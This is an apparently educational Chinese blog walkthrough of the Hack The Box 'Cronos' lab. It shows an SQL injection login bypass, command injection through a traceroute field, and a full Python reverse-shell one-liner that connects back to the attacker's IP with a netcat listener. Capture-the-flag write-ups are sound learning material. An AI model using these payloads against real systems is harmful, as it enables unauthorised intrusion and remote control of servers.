昨天我們深度列舉了這台靶機的子網域，找到四個：

cronos.htb        
admin.cronos.htb  
ns1.cronos.htb    
www.cronos.htb   

其中有三個看起來可能是 Web 服務，
而 admin.cronos.htb 這個名字特別引起我的注意xddd
看起來像是管理者介面，通常比一般頁面更值得優先調查
而且可能會有登入頁面><
如果真的是管理介面，那攻進去後，我們能做的事情可能就會更多囉 xddd
不過網站的 admin 跟 Linux 的 root 是兩回事，這等等就會遇到了 ><

太讚了!!!我們快來先針對 admin.cronos.htb 做深入探查，看看這是不是我們期待的管理者網頁~

碰到 Web 服務，還記得流程嗎？

Day 12 整理過碰到 Web 服務的思路——今天就照這個流程走(不過會有點改變)：

Web Service
    ↓
【Information Gathering】這個網站有什麼？
    ↓
瀏覽器 → 原始碼 / DevTools → robots.txt → 目錄爆破
    ↓
找到輸入點、會傳資料到伺服器的功能
    ↓
【Exploitation】這個地方可以測什麼？
    ↓
根據功能/輸入點類型，選擇對應的漏洞測試

本日路徑!!!

檢視瀏覽器 → 檢視原始碼 / DevTools → 檢視robots.txt→ 根據功能/輸入點類型，選擇對應的漏洞測試

為什麼先跳過目錄爆破?

1. 爆破在真實環境容易被抓到——大量請求很容易觸發 IDS/WAF 告警，先手動測有沒有簡易的injection，比較不會被發現xddd

2. 這裡已經是管理介面了——如果 SQL injection 可以繞過登入，直接進管理介面的收穫比爆破目錄大很多。爆破出幾個路徑，不如先把眼前這個登入點搞清楚 xddd

所以今天的思路：先手動測 SQL injection，成功的話直接進管理介面，爆破留到真的需要的時候再說 xdd

這是今天在 Cronos 機器拿到的 target ip：10.129.227.211

記得先把我們昨天列舉出的這台目標機器的子網域加進 /etc/hosts，才能用瀏覽器進 admin.cronos.htb 看看有什麼我們感興趣的東西！

echo "10.129.227.211 cronos.htb www.cronos.htb admin.cronos.htb ns1.cronos.htb" | sudo tee -a /etc/hosts;cat /etc/hosts | grep cronos

echo "10.129.227.211 cronos.htb www.cronos.htb admin.cronos.htb ns1.cronos.htb" :把這串文字輸出出來——「IP + 所有子網域」放在同一行，告訴電腦「這些名字都對應這個 IP」。

| sudo tee -a /etc/hosts

• |：把剛才 echo 的文字送給下一個指令處理
• sudo：用 root 權限執行（/etc/hosts 是系統檔案，一般使用者不能改）
• tee：一邊顯示在螢幕上（讓我們確認加了什麼），一邊寫進檔案
• -a：append，附加到檔案最後面，不是覆蓋整個檔案

然後確認有沒有成功加進去：

cat /etc/hosts | grep cronos

• cat /etc/hosts：把 /etc/hosts 的內容全部印出來
• | grep cronos：只顯示包含「cronos」的那幾行

確認加進去了

實作開始

Step 1：瀏覽器打開 admin.cronos.htb

http://admin.cronos.htb 

挖有輸入點耶!!!有沒有SQK injection的機會><

看原始碼：

右鍵 → View Page Source

原始碼看起來沒有開發者遺留的帳號/密碼，讓我們快樂拿來試試(可惡!

看 robots.txt：
看看有沒有放不希望搜尋引擎爬取的路徑——對我們來說可能是線索 xdd

http://admin.cronos.htb/robots.txt

雖然今天重點是登入介面，但如果 robots.txt 裡面有其他路徑——說不定能找到：

• 不用登入就有高權限的頁面
• 開發者不小心遺留的帳密或設定檔
  那就可以快樂闖關 xddd

Step 2：測試 SQL injection——先丟單引號

通常會從最簡單的動作開始——先在輸入點丟一個單引號 '，看看網站有什麼反應，再依反應決定往哪個方向走：

在帳號欄位輸入：

嘗試一:單引號

'

出現 Your Login Name or Password is invalid

嘗試二:雙引號

''

出現Your Login Name or Password is invalid及彈窗，但按Not now或Save，都不會到下一頁

還是「Your Login Name or Password is invalid」，多了一個瀏覽器的儲存密碼彈窗，但按Not now或Save，都不會到下一頁（彈窗跟 SQL injection 無關，按掉就好）。

根據反應決定往哪個方向走：

輸入一個單引號 '
    ↓
頁面直接噴出 SQL 錯誤訊息？
    ├─ 是 → 錯誤訊息裡看得到資料嗎？
    │         ├─ 看得到 → Error-based
    │         └─ 只報錯、看不到資料 → 試 UNION-based
    │
    └─ 否（沒噴錯，但畫面怪怪的 / 沒東西）
              ↓
        改變條件，畫面會跟著不一樣嗎？
              ├─ 會 → Boolean-based
              └─ 完全沒差別 → Time-based

但今天遇到的輸入點是登入頁面，比較特殊><
不管是帳密真的錯，還是 SQL 語法出錯，大多都只會顯示同一個訊息 QQ

所以—看不到 SQL 錯誤，不代表沒有 SQL Injection！

既然看不出來，直接試試 Login Bypass——如果繞過成功，就代表有 SQL Injection！

Step 3：SQL injection 登入繞過

那我們就來試試看能不能繞過登入！

在帳號欄位輸入：

admin' -- -

密碼輸入: 1

來一起回顧神奇的繞過原理（Day 12 我們看過他!!!）：

原本的 SQL 查詢可能長這樣：

SELECT * FROM users WHERE username = 'admin' AND password = '...'

注入之後變成：

SELECT * FROM users WHERE username = 'admin' -- - AND password = '...'

-- - 是 SQL 的註解——後面的 AND password = '...' 被注解掉了，不管密碼對不對，只要 username 存在，就能登入！

Step 4：進去之後——找 Command Injection

登入成功了！

挖!!!traceroute!哇8.8.8.8，這看起來感覺可以「執行指令」跟終端機互動耶!如果可以執行系統指令的話，就可能有 Command Injection 的機會!

那要如何測試 Command Injection？我們可以在原本傳給伺服器的值後面「加料」xddd(塞進我們想要執行的指令><

試試看Day 13說的最常用的注入符號：

8.8.8.8;whoami

真的回傳了我目前的身分!!!是www-data(有command injection(好讚!!!可以繼續來information gathering我們的目標機器了!!!

Step 5：確認有 Command Injection，繼續偵查

照 Day 13 的偵查 SOP 繼續：

8.8.8.8; id              ← 確認身份跟群組

我們目前是www-data

等等——為什麼是 www-data？

• 網站的 admin：登入網站用的帳號，通常是存在資料庫裡的「網站使用者」
• Linux 的 www-data：Web 伺服器程式在 Linux 上執行時使用的系統帳號
  我們透過 Command Injection 讓網站幫我們執行指令，實際上是在 Web 伺服器的程序裡執行——所以拿到的身分是 www-data，不是網站裡的 admin。

www-data 通常權限不高，所以拿到 Reverse Shell 只是「進門」而已 😂

拿到 Shell ≠ 拿到 root！這也是明天要繼續往下挖的地方 xddd

8.8.8.8; pwd              ← 我在哪

我們現在在var/www/admin資料夾

8.8.8.8; sudo -l              ← 我能做什麼

畫面一閃就不見了!!!可惡~~~
看來現在這種透過網頁執行指令的方式，對我們來說還是太不方便了 QQ
我們先拿到一個可以互動的 Reverse Shell，再繼續我們的偵察任務好惹！

Step 6：Reverse Shell Payload製造前哨站

確認有 Command Injection 之後，下一步是拿到真正的互動式 shell—Reverse Shell：

像我們在Day 9說的不同目標環境，所能接受的Payload也不同，在決定Reverse Shell的Payload前，我們先一起來確認我們的目標環境~~~

which python3確認目標主機，有沒有Python

回傳 /usr/bin/python3——有！

which 是「找指令在哪裡」的工具——回傳路徑代表這個指令存在，沒有回傳代表沒有安裝。

確認有 Python3，等等可以用Python Reverse Payload！

Step 7：開監聽

nc -lvnp 4444

• -l：監聽模式
• -v：顯示詳細資訊
• -n：不做 DNS 查詢
• -p 4444：監聽 Port 4444

這個終端機就這樣等著，等我們的目標機器連回來。

依據我們在Reverse Shell Payload製造前哨站，確認目標機器Cronos有Python3，我們選擇製作Python Reverse Payload

Step 8：發送 Reverse Shell

把我們在上一步製作出的Python Reverse Shell Payload，合併至指令欄位，

8.8.8.8; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.205",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

nc 終端機出現了：

Connection received on 10.129.227.211 48046
$

$ 就是我們拿到的目標機器 Cronos 的 shell。

從瀏覽器裡可以執行指令的 Web Shell，變成了終端機裡可以互動的 Reverse Shell(兩個畫面之間，只有一行 Python 指令的距離 xddd

再試一次sudo -l，雖然被要求密碼才能看，但可以確定我們成功建立目標機器 Cronos 的reverse shell

本日回顧

哇！今天有種「走過的路都不會白費」的感覺！

我們在 Day 12、Day 13 的 PortSwigger Lab 練習過的 SQL Injection、Command Injection，以及在 Bashed 練過的「看到 Shell 之後要做什麼」跟 Reverse Shell 的建立，今天在我們的目標機器 Cronos 全都派上用場了！！！

真的有種把前面學過的東西串起來的感覺，超感動！！！🥹

以前可能會想：
「欸？現在學這個到底什麼時候會用到？」

結果走到後面才發現——原來真的會再遇到 xddd

明天我們就繼續從目前拿到的可互動 Reverse Shell往下挖更多資訊，看看能不能找到從 www-data 一路往上拿到高權限的機會～

就像之前在 Bashed 一樣，繼續找找看有沒有機會一步一步往上爬 ><

那我們明天見囉！！！